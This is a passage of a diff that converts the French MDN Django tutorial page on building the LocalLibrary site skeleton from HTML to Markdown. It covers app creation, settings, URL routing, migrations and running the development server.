qu'ils est plus pratique de déléguer la gestion des urls à propre à chacune des applications dans le contexte de l'application. +- **wsgi.py** est utilisé pour la gestion de l'interface entre Python et le serveur web. Il est recommandé de ne pas y toucher. -<p>Le fichier <strong>manage.py</strong> est utilisé pour créer et gérer les applications au sein du projet. C'est une boîte à outil précieuse qu'il ne faut pas modifier.</p> +Le fichier **manage.py** est utilisé pour créer et gérer les applications au sein du projet. C'est une boîte à outil précieuse qu'il ne faut pas modifier. -<h2 id="Créer_lapplication_catalog">Créer l'application <em>catalog</em></h2> +## Créer l'application _catalog_ -<p>La commande ci-dessous va créer l'application <em>catalog</em>. Vous devez être dans le dossier de votre projet locallibrary pour exécuter cette commande (dans le même dossier que le fichier <strong>manage.py</strong> de votre projet) :</p> +La commande ci-dessous va créer l'application _catalog_. Vous devez être dans le dossier de votre projet locallibrary pour exécuter cette commande (dans le même dossier que le fichier **manage.py** de votre projet) : -<pre class="brush: bash">python3 manage.py startapp catalog</pre> +```bash +python3 manage.py startapp catalog +``` -<div class="note"> -<p><strong>Note :</strong> La commande ci-dessus est exécutée dans un environnement Linux/macOS X. Sous Windows, il se peut que la commande soit : <code>py -3 manage.py startapp catalog</code></p> +> **Note :** La commande ci-dessus est exécutée dans un environnement Linux/macOS X. Sous Windows, il se peut que la commande soit : `py -3 manage.py startapp catalog` +> +> Si vous travaillez dans un environnement Windows, l'ensemble de la série didactique est écrite pour un environnement Linux/MacOS. Pensez, alors, à remplacer les commandes `python3` par `py -3`. +> +> Si vous utilisez une version postérieure à la version 3.7.0, la commande devrait désormais être `py manage.py startapp catalog` -<p>Si vous travaillez dans un environnement Windows, l'ensemble de la série didactique est écrite pour un environnement Linux/MacOS. Pensez, alors, à remplacer les commandes <code>python3</code> par <code>py -3</code>.</p> +Cet outil crée un nouveau dossier, du nom de l'application, et le peuple de fichiers essentiels. La plupart des fichiers ont des noms caractéristiques de leur fonction dans le fonctionnement de Django (par exemple, les vues sont traitées dans **views.py**, le modèle de données dans **models.py**, etc.). Ces fichiers contiennent les éléments minimaux nécessaires à leur utilisation dans le projet. -<p>Si vous utilisez une version postérieure à la version 3.7.0, la commande devrait désormais être <code>py manage.py startapp catalog</code></p> -</div> +Le dossier projet _locallibrary_ est agrémenté d'un nouveau sous-dossier _catalog_ : -<p>Cet outil crée un nouveau dossier, du nom de l'application, et le peuple de fichiers essentiels. La plupart des fichiers ont des noms caractéristiques de leur fonction dans le fonctionnement de Django (par exemple, les vues sont traitées dans <strong>views.py</strong>, le modèle de données dans <strong>models.py</strong>, etc.). Ces fichiers contiennent les éléments minimaux nécessaires à leur utilisation dans le projet.</p> - -<p>Le dossier projet <em>locallibrary</em> est agrémenté d'un nouveau sous-dossier <em>catalog</em> :</p> - -<pre class="brush: bash"><em>locallibrary/</em> +```bash +locallibrary/ manage.py - <em>locallibrary/ -</em><strong> <em>catalog/</em> + locallibrary/ + catalog/ admin.py apps.py models.py tests.py views.py __init__.py - <em>migrations/</em></strong> -</pre> + migrations/ +``` -<p>A ceci s'ajoute :</p> +A ceci s'ajoute : -<ul> - <li>Un dossier <em>migrations</em>, qui sera utilisé par django pour gérer les migrations et les modifications progressives apportées à la base de données quand des modifications seront faîtes dans les fichiers <em>models.py.</em></li> - <li><strong>__init__.py</strong> — est un fichier vide qui indique au langage Python de considérer ce dossier comme un module Python.</li> -</ul> +- Un dossier _migrations_, qui sera utilisé par django pour gérer les migrations et les modifications progressives apportées à la base de données quand des modifications seront faîtes dans les fichiers _models.py._ +- **\_\_init\_\_.py** — est un fichier vide qui indique au langage Python de considérer ce dossier comme un module Python. -<div class="note"> -<p><strong>Note :</strong> Vous pouvez constater que dans le dossier de l'application, il n'y a pas de fichier pour gérer les urls, les gabarits ou les fichiers statiques. Nouys verrons ce point un peu plus loin, ils ne sont pas systématiquement nécessaires.</p> -</div> +> **Note :** Vous pouvez constater que dans le dossier de l'application, il n'y a pas de fichier pour gérer les urls, les gabarits ou les fichiers statiques. Nouys verrons ce point un peu plus loin, ils ne sont pas systématiquement nécessaires. -<h2 id="Enregistrer_lapplication_catalog">Enregistrer l'application <em>catalog</em></h2> +## Enregistrer l'application _catalog_ -<p>Après avoir créé l'application, il est necessaire de l'enregistrée au sein du projet. Ceci permet de prendre en charge l'ensemble des éléments de l'application pour qu'ils soient pris automatiquement en charge par le quadriciel. L'enregistrement se fait dans la section <code>INSTALLED_APPS</code> en ajoutant le nom de l'application à la liste déjà présente.</p> +Après avoir créé l'application, il est necessaire de l'enregistrée au sein du projet. Ceci permet de prendre en charge l'ensemble des éléments de l'application pour qu'ils soient pris automatiquement en charge par le quadriciel. L'enregistrement se fait dans la section `INSTALLED_APPS` en ajoutant le nom de l'application à la liste déjà présente. -<p>Éditez le fichier <strong>django_projects/locallibrary/locallibrary/settings.py</strong> et allez jusqu'à la liste <code>INSTALLED_APPS</code>. Ajoutez alors comme indiqué ci-dessous l'application à la liste.</p> +Éditez le fichier **django_projects/locallibrary/locallibrary/settings.py** et allez jusqu'à la liste `INSTALLED_APPS`. Ajoutez alors comme indiqué ci-dessous l'application à la liste. -<pre class="brush: bash">INSTALLED_APPS = [ +```bash +INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', -<strong> 'catalog.apps.CatalogConfig', </strong> -]</pre> + 'catalog.apps.CatalogConfig', +] +``` -<p>Le nouvel enregistrement défini l'objet pour cette nouvelle application avec le nom (<code>CatalogConfig</code>) qui a été généré dans le fichier <strong>/locallibrary/catalog/apps.py</strong> quand l'application a été créée.</p> +Le nouvel enregistrement défini l'objet pour cette nouvelle application avec le nom (`CatalogConfig`) qui a été généré dans le fichier **/locallibrary/catalog/apps.py** quand l'application a été créée. -<div class="note"> -<p><strong>Note :</strong> Nous verrons plus loin les autres paramètres de ce fichier(comme <code>MIDDLEWARE</code>). Cela permet la prise en charge par <a href="/fr/docs/Learn/Server-side/Django/Admin_site">Django administration site</a> et donne accès à de nombreuses fonctionnalités (gestion des sessions, de l'authentication, etc).</p> -</div> +> **Note :** Nous verrons plus loin les autres paramètres de ce fichier(comme `MIDDLEWARE`). Cela permet la prise en charge par [Django administration site](/fr/docs/Learn/Server-side/Django/Admin_site) et donne accès à de nombreuses fonctionnalités (gestion des sessions, de l'authentication, etc). -<h2 id="Définir_la_base_de_données">Définir la base de données</h2> +## Définir la base de données -<p>Dès à présent, la base de données doit être décrite. Il est souvent recommandé pour minimiser une transition délicate d'utiliser la même base de données en développement et en production. La documentation concernant les <a href="https://docs.djangoproject.com/fr/2.2/ref/settings/#databases">bases de données</a> prises en charge sont bien décrites sur le site du projet Django.</p> +Dès à présent, la base de données doit être décrite. Il est souvent recommandé pour minimiser une transition délicate d'utiliser la même base de données en développement et en production. La documentation concernant les [bases de données](https://docs.djangoproject.com/fr/2.2/ref/settings/#databases) prises en charge sont bien décrites sur le site du projet Django. -<p>Le système de gestion de base de données (SGBD) SQLite sera utilisé dans le projet de cette série didactique ; nous n'aurons pas d'accès concurents massifs et ce système ne requiert pas de paramétrages complémentaires. Ci-dessous la définition dans <strong>settings.py</strong> est nécessaire pour utiliser ce SGBD :</p> +Le système de gestion de base de données (SGBD) SQLite sera utilisé dans le projet de cette série didactique ; nous n'aurons pas d'accès concurents massifs et ce système ne requiert pas de paramétrages complémentaires. Ci-dessous la définition dans **settings.py** est nécessaire pour utiliser ce SGBD : -<pre class="brush: python">DATABASES = { +```python +DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), } } -</pre> +``` -<h2 id="Dautres_paramètrages_du_projet">D'autres paramètrages du projet</h2> +## D'autres paramètrages du projet -<p>Le fichier <strong>settings.py</strong> est utilisé pour l'ensemble des paramètres du projet, mais pour le moment nous n'allons nous occuper du fuseau horaire. Le format des fuseaux horaires est le format standard en informatique (<a href="https://en.wikipedia.org/wiki/List_of_tz_database_time_zones">Liste des codes - <em>en anglais</em></a>). Changez la variable <code>TIME_ZONE</code> de votre projet avec la chaîne appropriée à votre fuseau, par exemple :</p> +Le fichier **settings.py** est utilisé pour l'ensemble des paramètres du projet, mais pour le moment nous n'allons nous occuper du fuseau horaire. Le format des fuseaux horaires est le format standard en informatique ([Liste des codes - _en anglais_](https://en.wikipedia.org/wiki/List_of_tz_database_time_zones)). Changez la variable `TIME_ZONE` de votre projet avec la chaîne appropriée à votre fuseau, par exemple : -<pre class="brush: python">TIME_ZONE = 'Europe/Paris'</pre> +```python +TIME_ZONE = 'Europe/Paris' +``` -<p>Il y a deux paramètres à connaître, même s'il ne seront pas modifiés pour l'instant :</p> +Il y a deux paramètres à connaître, même s'il ne seront pas modifiés pour l'instant : -<ul> - <li><code>SECRET_KEY</code>. Il s'agit d'une clé utilisée pour la gestion de la sécurité d'un site web par Django. Si vous ne protégez pas cette clé - c'est-à-dire si vous divulguez cette information à des tiers - vous devrez changer cette clé lors de la mise en production. </li> - <li><code>DEBUG</code>. Ce paramètre est utilisé pour afficher les journaux de traces en cas d'erreur plutôt qu'une simple erreur HTTP en réponse à une requête. Ce paramètre <strong>doit</strong> être positionné à <code>False</code> lors du passage en production, dans le cas contraire vous divulguerez des informations essentielles à un potentiel attaquant. Pendant la période de développement, il est très utile de la conserver à <code>True</code>.</li> -</ul> +- `SECRET_KEY`. Il s'agit d'une clé utilisée pour la gestion de la sécurité d'un site web par Django. Si vous ne protégez pas cette clé - c'est-à-dire si vous divulguez cette information à des tiers - vous devrez changer cette clé lors de la mise en production. +- `DEBUG`. Ce paramètre est utilisé pour afficher les journaux de traces en cas d'erreur plutôt qu'une simple erreur HTTP en réponse à une requête. Ce paramètre **doit** être positionné à `False` lors du passage en production, dans le cas contraire vous divulguerez des informations essentielles à un potentiel attaquant. Pendant la période de développement, il est très utile de la conserver à `True`. -<h2 id="Configurer_le_routage_des_URLs">Configurer le routage des URLs</h2> +## Configurer le routage des URLs -<p>La création du site web s'appuie sur un routage d'URL et une gestion de la cartographie des URLs dans le fichier <strong>urls.py</strong>) présent dans le dossier du projet. Même si vous pouvez directement utiliser ce fichier pour gérer le routage des URLs, il est recommandé d'utiliser un mécanisme de subsidiarité avec une gestion d'URLs par application. En outre cette méthode de délégation permet une meilleure poratbilité de vos développements dans vos différents projets.</p> +La création du site web s'appuie sur un routage d'URL et une gestion de la cartographie des URLs dans le fichier **urls.py**) présent dans le dossier du projet. Même si vous pouvez directement utiliser ce fichier pour gérer le routage des URLs, il est recommandé d'utiliser un mécanisme de subsidiarité avec une gestion d'URLs par application. En outre cette méthode de délégation permet une meilleure poratbilité de vos développements dans vos différents projets. -<p>A l'ouverture du fichier <strong>locallibrary/locallibrary/urls.py</strong>, vous pouvez remarquer les premières instructions sur la manière de gérer la cartographie des URLs.</p> +A l'ouverture du fichier **locallibrary/locallibrary/urls.py**, vous pouvez remarquer les premières instructions sur la manière de gérer la cartographie des URLs. -<pre class="brush: python">"""locallibrary URL Configuration +```python +"""locallibrary URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/2.1/topics/http/urls/ @@ -218,120 +226,115 @@ from django.urls import path urlpatterns = [ path('admin/', admin.site.urls), ] -</pre> +``` -<p>Le routage des URLs est géré à l'aide de la variable <code>urlpatterns</code>. Elle consititue une liste Python de fonctions <code>path()</code>. Chaque instance <code>path()</code> peut associer des motifs d'URL à une vue particulière, qui sera appelée si l'URL appellée correspond au motif décrit, ou vers une autre liste d'URL (dans ce cas, le motif est à considérer comme le motif de base pour le module dans lequel il est décrit). La variable <code>urlpatterns</code> contient au démarrage une seule fonction qui permet de gérer l'URL d'administration du site et utilisant le module par défaut de Django <code>admin.site.urls</code>.</p> +Le routage des URLs est géré à l'aide de la variable `urlpatterns`. Elle consititue une liste Python de fonctions `path()`. Chaque instance `path()` peut associer des motifs d'URL à une vue particulière, qui sera appelée si l'URL appellée correspond au motif décrit, ou vers une autre liste d'URL (dans ce cas, le motif est à considérer comme le motif de base pour le module dans lequel il est décrit). La variable `urlpatterns` contient au démarrage une seule fonction qui permet de gérer l'URL d'administration du site et utilisant le module par défaut de Django `admin.site.urls`. -<div class="note"> -<p><strong>Note :</strong> Dans la fonction <code>path()</code>, une route est une chaîne de caractères définissant une URL ou un motif d'URL. Cette chaîne peut inclure des variables nommées (entre < et >, par exemple <code>'catalog/<id>/'</code>). Ce motif correspondra à une URL du type <strong>/catalog/</strong><em>des_caracteres</em><strong>/</strong>. La chaîne <em>des_caracteres</em> sera transmis à la vue comme une chaîne de caractère associée à une variable nommée <code>id</code>. Ce point sera vu en détails plus loin dans la série didactique.</p> -</div> +> **Note :** Dans la fonction `path()`, une route est une chaîne de caractères définissant une URL ou un motif d'URL. Cette chaîne peut inclure des variables nommées (entre < et >, par exemple `'catalog/<id>/'`). Ce motif correspondra à une URL du type **/catalog/\***des_caracteres**\*/**. La chaîne _des_caracteres_ sera transmis à la vue comme une chaîne de caractère associée à une variable nommée `id`. Ce point sera vu en détails plus loin dans la série didactique. -<p>Ajoutez les lignes ci-dessous à la fin du fichier de manière à ajouter dans la variable <code>urlpatterns</code> une nouvelle entrée à la liste des routes. Cette nouvelle entrée permet une nouvelle route pour <code>catalog/</code> dont la gestion est déléguée au fichier <strong>urls.py</strong> du module <strong>catalog</strong> (c'est-à-dire le fichier <strong>catalog/urls.py</strong>).</p> +Ajoutez les lignes ci-dessous à la fin du fichier de manière à ajouter dans la variable `urlpatterns` une nouvelle entrée à la liste des routes. Cette nouvelle entrée permet une nouvelle route pour `catalog/` dont la gestion est déléguée au fichier **urls.py** du module **catalog** (c'est-à-dire le fichier **catalog/urls.py**). -<pre class="brush: python"># Use include() to add paths from the catalog application +```python +# Use include() to add paths from the catalog application from django.urls import include from django.urls import path urlpatterns += [ path('catalog/', include('catalog.urls')), ] +``` -</pre> +Il est nécessaire de rediriger la racine du site (concrètement `https://127.0.0.1:8000/`) vers celui de la seule application _catalog_ qui va être utilisée dans ce projet (concrètemen `127.0.0.1:8000/catalog/`). Pour cette étape, nous utilisons la fonction particulière (`RedirectView`) qui prend comme argument le lien relatif (concrètement `/catalog/`) quand le motif de l'URL correspondra (concrètement la racine du site). -<p>Il est nécessaire de rediriger la racine du site (concrètement <code>https://127.0.0.1:8000/</code>) vers celui de la seule application <em>catalog</em> qui va être utilisée dans ce projet (concrètemen <code>127.0.0.1:8000/catalog/</code>). Pour cette étape, nous utilisons la fonction particulière (<code>RedirectView</code>) qui prend comme argument le lien relatif (concrètement <code>/catalog/</code>) quand le motif de l'URL correspondra (concrètement la racine du site).</p> +Ajoutez les lignes ci-dessous au bas du fichier **urls.py** : -<p>Ajoutez les lignes ci-dessous au bas du fichier <strong>urls.py</strong> :</p> - -<pre class="brush: python">#Add URL maps to redirect the base URL to our application +```python +#Add URL maps to redirect the base URL to our application from django.views.generic import RedirectView urlpatterns += [ path('', RedirectView.as_view(url='/catalog/', permanent=True)), ] -</pre> +``` -<p>La racine du site ('/') est prise en compte par Django, il est donc inutile d'écrire le chemin avec le caractère '/' en début. Si vous maintenez ce mode d'écriture, vous aurez le message ci-dessous au démarrage du serveur :</p> +La racine du site ('/') est prise en compte par Django, il est donc inutile d'écrire le chemin avec le caractère '/' en début. Si vous maintenez ce mode d'écriture, vous aurez le message ci-dessous au démarrage du serveur : -<pre class="brush: python">System check identified some issues: +```python +System check identified some issues: WARNINGS: ?: (urls.W002) Your URL pattern '/' has a route beginning with a '/'. Remove this slash as it is unnecessary. If this pattern is targeted in an include(), ensure the include() pattern has a trailing '/'. -</pre> - -<p>Django ne s'occupe pas nativement de fichiers statiques tels que des fichiers CSS, JavaScript, ou des images, cependant il est très utile pour que le serveur de développement le fasse pendant la création du site. Une dernière étape de configuration du routage générique des urls, consiste donc à gérer la publication des fichiers statiques. </p> - -<p>Ajoutez les lignes ci-dessous au bas du fichier <strong>urls.py</strong> :</p> +``` -<pre><code># Use static() to add url mapping to serve static files during development (only) -from django.conf import settings -from django.conf.urls.static import static +Django ne s'occupe pas nativement de fichiers statiques tels que des fichiers CSS, JavaScript, ou des images, cependant il est très utile pour que le serveur de développement le fasse pendant la création du site. Une dernière étape de configuration du routage générique des urls, consiste donc à gérer la publication des fichiers statiques. -urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)</code> -</pre> +Ajoutez les lignes ci-dessous au bas du fichier **urls.py** : -<div class="note"> -<p><strong>Note :</strong> Il y a plusieurs manière pour ajouter des routes à la variable <code>urlpatterns</code> (dans les étapes décrites ci-dessus nous avons ajouté petit à patir en utilisant l'opérateur <code>+=</code> pour bien séparer les étapes). Il est en réalité tout à fait possible de tout regrouper dans une seule étape :</p> + # Use static() to add url mapping to serve static files during development (only) + from django.conf import settings + from django.conf.urls.static import static -<pre class="brush: python">urlpatterns = [ - path('admin/', admin.site.urls), - path('catalog/', include('catalog.urls')), - path('', RedirectView.as_view(url='/catalog/')), -] + <code>static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)</code> -</pre> + urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT) -<p>De même, nous avons ajouté des imports de module à chaque étapes (par exemple, <code>from django.urls import include</code>) ce qui permet de bien voir les différentes étapes. Cependant, l'habitude veut que tous les imports soient traités en début de fichier Python.</p> -</div> +> **Note :** Il y a plusieurs manière pour ajouter des routes à la variable `urlpatterns` (dans les étapes décrites ci-dessus nous avons ajouté petit à patir en utilisant l'opérateur `+=` pour bien séparer les étapes). Il est en réalité tout à fait possible de tout regrouper dans une seule étape : +> +> ```python +> urlpatterns = [ +> path('admin/', admin.site.urls), +> path('catalog/', include('catalog.urls')), +> path('', RedirectView.as_view(url='/catalog/')), +> ] + static(settings.STATIC_URL, document_root=settings.STATIC_ROOT) +> ``` +> +> De même, nous avons ajouté des imports de module à chaque étapes (par exemple, `from django.urls import include`) ce qui permet de bien voir les différentes étapes. Cependant, l'habitude veut que tous les imports soient traités en début de fichier Python. -<p>Dernière étape ! Il faut créer le fichier urls.py dans l'application (ou le module) catalog et de définir la variable <code>urlpatterns</code> vide pour le moment. </p> +Dernière étape ! Il faut créer le fichier urls.py dans l'application (ou le module) catalog et de définir la variable `urlpatterns` vide pour le moment. -<pre class="brush: python">from django.urls import path +```python +from django.urls import path from . import views urlpatterns = [ ] -</pre> +``` -<h2 id="Tester_le_site_web">Tester le site web</h2> +## Tester le site web -<p>A ce niveau, le squelette du site est prêt. Le site ne produit rien de concret mais il peut être démarré pour s'assurer que les modifications apportées ne génèrent pas d'erreur au démarrage du serveur.</p> +A ce niveau, le squelette du site est prêt. Le site ne produit rien de concret mais il peut être démarré pour s'assurer que les modifications apportées ne génèrent pas d'erreur au démarrage du serveur. -<p>Avant de démarer le serveur, et si vous vous souvenez bien, nous devrions faire une mise à niveau de la base de données. Il s'agit de préparer et de faire une migration de la base de données.</p> +Avant de démarer le serveur, et si vous vous souvenez bien, nous devrions faire une mise à niveau de la base de données. Il s'agit de préparer et de faire une migration de la base de données. -<h3 id="Exécuter_la_migartion_de_la_base_de_données">Exécuter la migartion de la base de données</h3> +### Exécuter la migartion de la base de données -<p>Django utilise une cartographie d'objet relation ou mapping d'objet relationnel pour simuler une base de données orientée objet avec une base de données relationnelles. Au fur et à mesure des modification qui sont apportées dans la définition du modèle de données, le quadriciel va générer les scripts de migration (ces scripts sont localisés dans <code>locallibrary/catalog/migration</code>) pour modifier les structures de données associées dans la base de données.</p> +Django utilise une cartographie d'objet relation ou mapping d'objet relationnel pour simuler une base de données orientée objet avec une base de données relationnelles. Au fur et à mesure des modification qui sont apportées dans la définition du modèle de données, le quadriciel va générer les scripts de migration (ces scripts sont localisés dans `locallibrary/catalog/migration`) pour modifier les structures de données associées dans la base de données. -<p>Quand le site a été créé (cf. supra), Django a automatiquement ajouté plusieurs modèles de base pour pouvoir administrer le site (point qui sera abordé plus loin). Pour configurer la base de données, avec ces éléments de base, il vous faut exécuter les commandes en ligne ci-dessous dans le répertoire racine du projet (dossier où se trouve<strong> manage.py</strong>):</p> +Quand le site a été créé (cf. supra), Django a automatiquement ajouté plusieurs modèles de base pour pouvoir administrer le site (point qui sera abordé plus loin). Pour configurer la base de données, avec ces éléments de base, il vous faut exécuter les commandes en ligne ci-dessous dans le répertoire racine du projet (dossier où se trouve **manage.py**): -<pre class="brush: bash">python3 manage.py makemigrations +```bash +python3 manage.py makemigrations python3 manage.py migrate -</pre> +``` -<div class="warning"> -<p><strong>Attention :</strong> Chaque fois que vous ferez évoluer le modèle de données, vous devrez exécuter le commandes ci-dessus (elles seront traduites en structure dans la base de données que cela conduise à l'ajout ou au retrait d'objets ou d'attributs).</p> -</div> +> **Attention :** Chaque fois que vous ferez évoluer le modèle de données, vous devrez exécuter le commandes ci-dessus (elles seront traduites en structure dans la base de données que cela conduise à l'ajout ou au retrait d'objets ou d'attributs). -<p>L'option <code>makemigrations</code> réalise (sans les appliquer) les migrations nécessaires à toutes les applications du projet. Vous pouvez cependant préciser le nom de l'application pour laquelle vous souhaitez réaliser la migration. Ceci permet de vérifier le code et la cohérence du modèle de donner avant de l'appliquer réellement. Quand vous aurez un niveau expert, vous pourrez choisir de les modifier à la marge.</p> +L'option `makemigrations` réalise (sans les appliquer) les migrations nécessaires à toutes les applications du projet. Vous pouvez cependant préciser le nom de l'application pour laquelle vous souhaitez réaliser la migration. Ceci permet de vérifier le code et la cohérence du modèle de donner avant de l'appliquer réellement. Quand vous aurez un niveau expert, vous pourrez choisir de les modifier à la marge. -<p>L'option <code>migrate</code> applique les modifications sur la base de données (Django trace les modifications réalisées dans la base de données).</p> +L'option `migrate` applique les modifications sur la base de données (Django trace les modifications réalisées dans la base de données). -<div class="note"> -<p><strong>Note :</strong> Vous pouvez consulter la documentation <a href="https://docs.djangoproject.com/fr/2.2/topics/migrations/">Migrations</a> (sur le site Django) pour plus d'informations.</p> -</div> +> **Note :** Vous pouvez consulter la documentation [Migrations](https://docs.djangoproject.com/fr/2.2/topics/migrations/) (sur le site Django) pour plus d'informations. -<h3 id="Démarrer_le_site_web">Démarrer le site web</h3> +### Démarrer le site web -<p>Pendant la phase de développement, vous pouvez tester votre serveur sur un mode local et le consulter avec votre navigateur.</p> +Pendant la phase de développement, vous pouvez tester votre serveur sur un mode local et le consulter avec votre navigateur. -<div class="note"> -<p><strong>Note :</strong> Le serveur local n'est ni robuste ni performant, il n'est donc pas fait pour être utilisé en production, mais il permet d'être autonome pour les travaux de développement. La configuration par défaut de ce serveur est telle que votre site est accessible à l'URL <code>http://127.0.0.1:8000/</code>. Cependant, vous pouvez modifier ces paramètres et pour plus d'information vous pouvez consulter la documentation sur le site Django des commandes <a href="https://docs.djangoproject.com/fr/2.2/ref/django-admin/#runserver">django-admin and manage.py: runserver</a>.</p> -</div> +> **Note :** Le serveur local n'est ni robuste ni performant, il n'est donc pas fait pour être utilisé en production, mais il permet d'être autonome pour les travaux de développement. La configuration par défaut de ce serveur est telle que votre site est accessible à l'URL `http://127.0.0.1:8000/`. Cependant, vous pouvez modifier ces paramètres et pour plus d'information vous pouvez consulter la documentation sur le site Django des commandes [django-admin and manage.py: runserver](https://docs.djangoproject.com/fr/2.2/ref/django-admin/#runserver). -<p>Pour démarrer le serveur local, il suffit d'exécuter la commande ci-dessous dans le répertoire du projet (dossier où se trouver <strong>manage.py</strong>) :</p> +Pour démarrer le serveur local, il suffit d'exécuter la commande ci-dessous dans le répertoire du projet (dossier où se trouver **manage.py**) : -<pre class="brush: bash">python3 manage.py runserver +```bash +python3 manage.py runserver Performing system checks... @@ -340,64 +343,53 @@ python3 manage.py migrate Django version 2.1, using settings 'locallibrary.settings' Starting development server at http://127.0.0.1:8000/ Quit the server with CTRL-BREAK. -</pre> - -<p>Dès que le serveur est actif, vous pouvez utiliser votre navigateur est accéder à l'URL <code>http://127.0.0.1:8000/</code>. Vous devriez accéder à la page d'erreur ci-dessous :</p> +``` -<p><img alt="Django Debug page for Django 2.0" src="django_404_debug_page.png"></p> +Dès que le serveur est actif, vous pouvez utiliser votre navigateur est accéder à l'URL `http://127.0.0.1:8000/`. Vous devriez accéder à la page d'erreur ci-dessous : -<p>Ne vous inquitez ! Cette erreur était attendue ; elle est due à l'absence de défintion de routes dans le fichier catalog/urls.py ou dans le module <code>catalog.urls</code> module (que nous avons déclaré dans le fichier urls.py du projet). </p> + -<div class="note"> -<p><strong>Note :</strong> La page web ci-dessus met en exergue une fonctionnalité utile de Django ; le mode des traces de debogag. Au lieu d'une simple erreur renvoyée par le serveur, celui-ci affiche un écran d'erreur avec des informations utiles pour corriger le développement conduisant à cette erreur d'affichage. Dans le cas présent, l'erreur est due au motif de l'URL qui ne correspond pas à ce qui a été configuré.</p> -</div> +Ne vous inquitez ! Cette erreur était attendue ; elle est due à l'absence de défintion de routes dans le fichier catalog/urls.py ou dans le module `catalog.urls` module (que nous avons déclaré dans le fichier urls.py du projet). -<p>À ce stade, nous pouvons considérer que le serveur fonctionne !</p> +> **Note :** La page web ci-dessus met en exergue une fonctionnalité utile de Django ; le mode des traces de debogag. Au lieu d'une simple erreur renvoyée par le serveur, celui-ci affiche un écran d'erreur avec des informations utiles pour corriger le développement conduisant à cette erreur d'affichage. Dans le cas présent, l'erreur est due au motif de l'URL qui ne correspond pas à ce qui a été configuré. -<div class="note"> -<p><strong>Note :</strong> Chaque fois que vous apportez des modifications significatives, il est important d'exécuter à nouveau un migration et un test du serveur. Cela est assez rapide, pour ne pas s'en priver !</p> -</div> +À ce stade, nous pouvons considérer que le serveur fonctionne ! -<h2 id="Relevez_le_défi...">Relevez le défi...</h2> +> **Note :** Chaque fois que vous apportez des modifications significatives, il est important d'exécuter à nouveau un migration et un test du serveur. Cela est assez rapide, pour ne pas s'en priver ! -<p>Le dossier <strong>catalog/</strong> a été créé automatiquement et contient des fichiers pour les vues, modèles de données, etc. Ouvrez-les pour les consulter. </p> +## Relevez le défi... -<p>Comme vous avez pu le constatez plus haut, une route pour l'administration du site (<code>http://127.0.0.1:8000/admin/</code>) existe déjà dans le fichier <strong>urls.py</strong> du projet. Avec votre navigateur web, vous pouvez découvrir ce qui est derrière ce site.</p> +Le dossier **catalog/** a été créé automatiquement et contient des fichiers pour les vues, modèles de données, etc. Ouvrez-les pour les consulter. -<ul> -</ul> +Comme vous avez pu le constatez plus haut, une route pour l'administration du site (`http://127.0.0.1:8000/admin/`) existe déjà dans le fichier **urls.py** du projet. Avec votre navigateur web, vous pouvez découvrir ce qui est derrière ce site. -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Le squelette du site web est entièrement construit à ce stade. Désormais, vous allez pouvoir y ajouter des urls, des vues, des modèles de données, des gabarits et des formulaires.</p> +Le squelette du site web est entièrement construit à ce stade. Désormais, vous allez pouvoir y ajouter des urls, des vues, des modèles de données, des gabarits et des formulaires. -<p>Maintenant que ceci est fait, <a href="/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website">le site web Local Library</a> est opérationnel et nous allons passer à la partie codage et développement pour que le site produise ce qu'il est censé faire.</p> +Maintenant que ceci est fait, [le site web Local Library](/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website) est opérationnel et nous allons passer à la partie codage et développement pour que le site produise ce qu'il est censé faire. -<h2 id="A_voir_aussi...">A voir aussi...</h2> +## A voir aussi... -<ul> - <li><a href="https://docs.djangoproject.com/fr/2.2/intro/tutorial01/">Écriture de votre première application Django, 1ère partie</a> (Django docs)</li> - <li><a href="https://docs.djangoproject.com/fr/2.2/ref/applications/#configuring-applications">Applications</a> (Django Docs). Contains information on configuring applications.</li> -</ul> +- [Écriture de votre première application Django, 1ère partie](https://docs.djangoproject.com/fr/2.2/intro/tutorial01/) (Django docs) +- [Applications](https://docs.djangoproject.com/fr/2.2/ref/applications/#configuring-applications) (Django Docs). Contains information on configuring applications. -<p>{{PreviousMenuNext("Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django/Models", "Learn/Server-side/Django")}}</p> +{{PreviousMenuNext("Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django/Models", "Learn/Server-side/Django")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Didactique: Site web "Bibliothèque locale"</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/skeleton_website">Django didactique Section 2: Créer le squelette du site web</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Models">Django didactique Section 3: Utilisation des modèles de données</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Admin_site">Django didactique Section 4 : Site d'administration de Django</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Home_page">Django didactique Section 5: Créer la page d'accuei</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li> - <li><a 